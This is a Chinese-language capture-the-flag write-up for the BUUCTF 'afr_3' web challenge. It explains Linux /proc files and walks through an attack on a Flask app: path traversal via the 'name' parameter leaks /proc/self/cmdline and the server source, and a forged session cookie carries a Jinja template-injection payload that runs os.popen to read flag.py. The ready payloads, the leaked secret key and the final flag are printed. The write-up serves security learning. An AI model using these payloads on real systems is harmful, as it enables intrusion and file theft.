BUUCTF第一章 web入门]afr_3

本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入
关于/proc/目录
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/[pid],当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示

图片[1]-BUUCTF第一章 web入门]afr_3-安全小天地

输入一个1,然后会有提示有一个article,点进去就是该文件,这不就是入手点了吗

http://5553aad1-9c8c-4337-89f9-eb68413cc508.node4.buuoj.cn:81/article?name=article

有一个name参数,利用这个name参数获取当前执行系统命令

name=../../../../../proc/self/cmdline

得到python server.py,然后查看server.py的源代码

name=../../../../../proc/self/cwd/server.py
import os from flask 
import ( Flask, render_template, request, url_for, redirect, session, render_template_string ) from flask_session import Session app = Flask(__name__) execfile(\'flag.py\') execfile(\'key.py\') FLAG = flag app.secret_key = key @app.route(\"/n1page\", methods=[\"GET\", \"POST\"]) def n1page(): if request.method != \"POST\": return redirect(url_for(\"index\")) n1code = request.form.get(\"n1code\") or None if n1code is not None: n1code = n1code.replace(\".\", \"\").replace(\"_\", \"\").replace(\"{\",\"\").replace(\"}\",\"\") if \"n1code\" not in session or session[\'n1code\'] is None: session[\'n1code\'] = n1code template = None if session[\'n1code\'] is not None: template = \'\'\'<h1>N1 Page</h1> <div class=\"row> <div class=\"col-md-6 col-md-offset-3 center\"> Hello : %s, why you don\'t look at our <a href=\'/article?name=article\'>article</a>? </div> </div> \'\'\' % session[\'n1code\'] session[\'n1code\'] = None return render_template_string(template) @app.route(\"/\", methods=[\"GET\"]) def index(): return render_template(\"main.html\") @app.route(\'/article\', methods=[\'GET\']) def article(): error = 0 if \'name\' in request.args: page = request.args.get(\'name\') else: page = \'article\' if page.find(\'flag\')>=0: page = \'notallowed.txt\' try: template = open(\'/home/nu11111111l/articles/{}\'.format(page)).read() except Exception as e: template = e return render_template(\'article.html\', template=template) if __name__ == \"__main__\": app.run(host=\'0.0.0.0\', debug=False)

可以看到有个flag.py和key.py

flag.py中应该是存在flag,但是不能查看

{\'n1code\': \'{{\\\'\\\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\\\'os\\\'].popen(\\\'cat flag.py\\\').read()}}\'}

打开key.py 文件

#!/usr/bin/python key = \'Drmhze6EPcv0fN_81Bj-nA\'

伪造:

./flask_session_cookie_manager3.py encode -s \"Drmhze6EPcv0fN_81Bj-nA\" -t \"{\'n1code\': \'{{\\\'\\\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\\\'os\\\'].popen(\\\'cat flag.py\\\').read()}}\'}\"

图片[2]-BUUCTF第一章 web入门]afr_3-安全小天地

得到:

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E
图片[3]-BUUCTF第一章 web入门]afr_3-安全小天地

最后flag为n1book{afr_3_solved}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容